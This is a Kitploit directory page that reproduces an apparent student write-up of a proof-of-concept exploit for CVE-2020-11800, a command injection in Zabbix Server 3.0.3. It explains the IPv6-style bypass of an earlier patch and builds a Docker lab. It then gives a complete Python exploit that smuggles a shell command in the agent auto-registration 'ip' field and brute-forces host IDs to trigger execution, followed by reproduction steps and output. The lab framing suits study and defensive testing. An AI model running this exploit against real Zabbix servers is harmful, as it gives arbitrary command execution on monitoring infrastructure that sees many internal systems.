Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
Tools/GitHubGitHub/ycseo-git/cve-2020-11800
Vulnerability AnalysisExploitationWeb SecurityPenetration TestingCommand and ControlPayload Development
GitHubycseo-git/cve-2020-11800

CVE-2020-11800

PoC exploit for CVE-2020-11800, a command injection in Zabbix Server via malicious agent auto-registration, with Python-based payload delivery and host ID brute-forcing.

View Repository
23 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

Sections required by the assignment guidelines are marked with “(Required)”.

1. Environment (Required)

Dockerfile (Required)

This environment uses a custom Dockerfile based on the vulnerable Zabbix Server image provided by Vulhub.

root@kitploit:~
FROM vulhub/zabbix:3.0.3-server

The Dockerfile builds a local image using the vulnerable Zabbix 3.0.3 server environment. No additional packages or configuration were added during the build process.


docker-compose.yml (Required)

The vulnerable environment is configured using Docker Compose.

The environment consists of four services:

  • Zabbix Server
  • Zabbix Agent
  • Zabbix Web Interface
  • MySQL Database

The server service is built locally using the Dockerfile:

root@kitploit:~
server:
  build: .
  image: cve-2020-11800-server

The MySQL container automatically imports SQL initialization files from the src/ directory using volume mounting:

root@kitploit:~
volumes:
  - ./src/:/docker-entrypoint-initdb.d/

This allows the database schema and initial Zabbix data to be loaded automatically when the container starts.


Service Architecture (Required)

The environment operates using the following structure:

root@kitploit:~
[Browser]
    ↓
[Zabbix Web]
    ↓
[Zabbix Server]
    ↓
[MySQL]

[Agent] → [Server]

Zabbix Web

Provides the web-based management interface accessible through the browser.

The administrator configures auto-registration and executes monitoring-related operations through this interface.

Zabbix Server

The core component responsible for:

  • agent management
  • script execution
  • monitoring logic
  • event processing

The command injection vulnerability is triggered inside this container.

Zabbix Agent

Acts as a monitored host and communicates with the Zabbix Server.

The exploit abuses the auto-registration mechanism during the agent registration process.

MySQL

Stores Zabbix configuration data, host information, and monitoring-related data.


Images and Versions (Required)

ServiceImageVersion
Zabbix Servervulhub/zabbix3.0.3-server
Zabbix Webvulhub/zabbix3.0.3-web
MySQLmysql5

The environment is based on the vulnerable Zabbix 3.0.3 environment provided by Vulhub.

2. Root Cause (Required)

Vulnerability Description (Required)

CVE-2020-11800 is a command injection vulnerability in the Zabbix Server Active Proxy Trapper functionality.

The vulnerability exists because the patch for CVE-2017-2824 was incomplete. An attacker can bypass the original patch using an IPv6-style payload and execute arbitrary commands on the Zabbix Server.

The vulnerability is triggered during the auto-registration process when the server processes user-controlled host information.


Root Cause Analysis (Required)

The root cause of the vulnerability is the unsafe handling of user-controlled input inside shell commands.

During script execution, Zabbix Server uses the registered host IP value to construct commands such as:

root@kitploit:~
ping <host_ip>

Under normal conditions:

root@kitploit:~
ping 127.0.0.1

However, if an attacker registers a host using the following payload:

root@kitploit:~
ffff:::;touch /tmp/success2

the final command executed by the shell becomes:

root@kitploit:~
ping ffff:::;touch /tmp/success2

Because the semicolon (;) acts as a shell command separator, the shell interprets the input as two separate commands:

root@kitploit:~
ping ffff:::
touch /tmp/success2

As a result, arbitrary command execution becomes possible.

Patch Bypass Using IPv6

The original patch for CVE-2017-2824 attempted to restrict malicious input values.

However, the validation logic did not properly handle IPv6-style input.

The payload:

root@kitploit:~
ffff:::;touch /tmp/success2

uses an IPv6-like prefix (ffff:::) to bypass the existing validation logic while still injecting shell metacharacters.

This allows attackers to bypass the previous patch and continue exploiting the command injection vulnerability.


Vulnerability Trigger Process (Required)

The exploit process occurs in the following order:

root@kitploit:~
Attacker
 ↓
Fake Agent Registration
 ↓
Malicious IP Stored
 ↓
Zabbix Script Execution
 ↓
Shell Command Construction
 ↓
Command Injection
 ↓
Arbitrary Command Execution

The attacker first sends a malicious auto-registration request containing a crafted IP field.

After the host is registered, the Zabbix Server executes a monitoring script using the stored host IP value.

During this process, the malicious payload is interpreted by the shell, leading to arbitrary command execution.


Attack Flow and Impact (Required)

The exploit allows attackers to execute arbitrary commands with the privileges of the Zabbix Server process.

In this environment, successful exploitation created the following file inside the server container:

root@kitploit:~
/tmp/success2

This confirms that injected shell commands were executed successfully.

In a real environment, successful exploitation could allow attackers to:

  • execute arbitrary system commands
  • download and run malware
  • perform internal reconnaissance
  • pivot to other systems
  • compromise monitoring infrastructure

The vulnerability is particularly dangerous because monitoring servers often have visibility into multiple internal systems and infrastructure components.

3. PoC (Required)

PoC Overview (Required)

The Proof of Concept (PoC) was written in Python and communicates directly with the Zabbix Server over TCP port 10051.

The PoC performs the following actions:

  1. Sends a malicious auto-registration request
  2. Brute-forces valid hostid values
  3. Triggers script execution using the injected payload

PoC Code

root@kitploit:~
import sys
import socket
import json


def send(ip, data):
    conn = socket.create_connection((ip, 10051), 10)
    conn.send(json.dumps(data).encode())
    response = conn.recv(2048)
    conn.close()
    return response


if len(sys.argv) != 2:
    print("Usage: python3 exploit.py <target-ip>")
    sys.exit(1)


target = sys.argv[1]

payload = {
    "request": "active checks",
    "host": "vulhub",
    "ip": "ffff:::;touch /tmp/success2"
}

print("[*] Sending malicious auto-registration request...")
print(send(target, payload))

print("[*] Brute forcing hostid and triggering script execution...")
for i in range(10000, 10500):
    data = send(target, {
        "request": "command",
        "scriptid": 1,
        "hostid": str(i)
    })

    if data and b'failed' not in data:
        print("[+] hostid: %d" % i)
        print(data)

Payload Analysis (Required)

The payload used in this PoC is:

root@kitploit:~
ffff:::;touch /tmp/success2

Payload Structure

PartPurpose
ffff:::IPv6-like prefix used for validation bypass
;Shell command separator
touch /tmp/success2Arbitrary command executed on the server

The payload abuses the fact that the server improperly concatenates user-controlled IP values into shell commands.

Purpose

  • Registers a fake Zabbix Agent
  • Stores a malicious IP value on the server
  • Prepares the target for command injection

The payload is delivered through the ip field during the auto-registration process.


PoC Code Execution Process (Required)

Auto-Registration Request

The first request sent by the PoC attempts to register a malicious host.

root@kitploit:~
payload = {
    "request": "active checks",
    "host": "vulhub",
    "ip": "ffff:::;touch /tmp/success2"
}

Host ID Brute Force

After registration, the PoC attempts to locate a valid hostid.

root@kitploit:~
for i in range(10000, 10500):

The PoC iterates through a range of possible host IDs and attempts to trigger script execution.

This step is necessary because the server dynamically assigns host IDs after registration.

Script Execution Request

The following request triggers command execution:

root@kitploit:~
{
    "request": "command",
    "scriptid": 1,
    "hostid": str(i)
}

Parameters

ParameterDescription
requestRequests script execution
scriptidID of the configured Zabbix script
hostidTarget host ID

In this environment, scriptid:1 corresponds to a ping-related script that uses the host IP value during command execution.

Vulnerability Trigger

The Zabbix Server internally constructs a shell command similar to:

root@kitploit:~
ping ffff:::;touch /tmp/success2

The shell interprets this as:

root@kitploit:~
ping ffff:::
touch /tmp/success2

As a result:

  • the ping command fails due to an invalid IPv6 address
  • the injected touch command executes successfully

Expected Output

During successful exploitation, the following output may appear:

root@kitploit:~
ping: bad address 'ffff:::'

This indicates that the payload reached the shell command execution stage.

Successful exploitation is confirmed when the following file exists inside the server container:

root@kitploit:~
/tmp/success2

4. Reproduction (Required)

PoC and Exploit Execution Process (Required)

The complete exploit flow is summarized below:

root@kitploit:~
Start Docker Environment
        ↓
Access Zabbix Web Interface
        ↓
Enable Auto Registration
        ↓
Run exploit.py
        ↓
Register Malicious Host
        ↓
Trigger Script Execution
        ↓
Command Injection
        ↓
Verify /tmp/success2

Actual Exploit Execution Steps (Required)

Environment Setup

Start the vulnerable environment using Docker Compose.

root@kitploit:~
docker compose up -d

Check whether all containers are running correctly.

root@kitploit:~
docker compose ps

The environment should include the following containers:

  • Zabbix Server
  • Zabbix Agent
  • Zabbix Web
  • MySQL

Accessing the Web Interface

Open the browser and access the Zabbix web interface.

root@kitploit:~
http://127.0.0.1:8080

Default credentials:

root@kitploit:~
Username: admin
Password: zabbix

Enabling Auto Registration

The exploit requires the auto-registration feature to be enabled.

Navigate to:

root@kitploit:~
Configuration → Actions

Change the Event Source to:

root@kitploit:~
Auto registration

Create a new Action and configure the following operation:

root@kitploit:~
Operation Type: Add Host

This allows newly registered agents to be automatically added to the server.

Running the Exploit

Execute the PoC script.

root@kitploit:~
python3 exploit.py 127.0.0.1

The PoC sends a malicious auto-registration request and attempts to trigger command execution using multiple host IDs.


Result Analysis (Required)

Example Output

During successful exploitation, output similar to the following may appear:

root@kitploit:~
hostid: 10106
{"response":"success","data":"ping: bad address 'ffff:::'"}

This indicates that the payload reached the vulnerable shell command execution path.

Verifying Command Execution

Access the Zabbix Server container.

root@kitploit:~
docker exec -it cve-2020-11800-server-1 bash

Verify whether the injected command created the target file.

root@kitploit:~
ls -l /tmp/success2

Successful exploitation produces output similar to:

root@kitploit:~
-rw-rw-r-- 1 zabbix zabbix 0 May 10 19:48 /tmp/success2

This confirms that arbitrary commands were executed successfully inside the Zabbix Server container.


Screenshots (Required)

The following screenshots were included in the screenshots/ directory:

Auto Registration

PoC Execution Result

Download Tool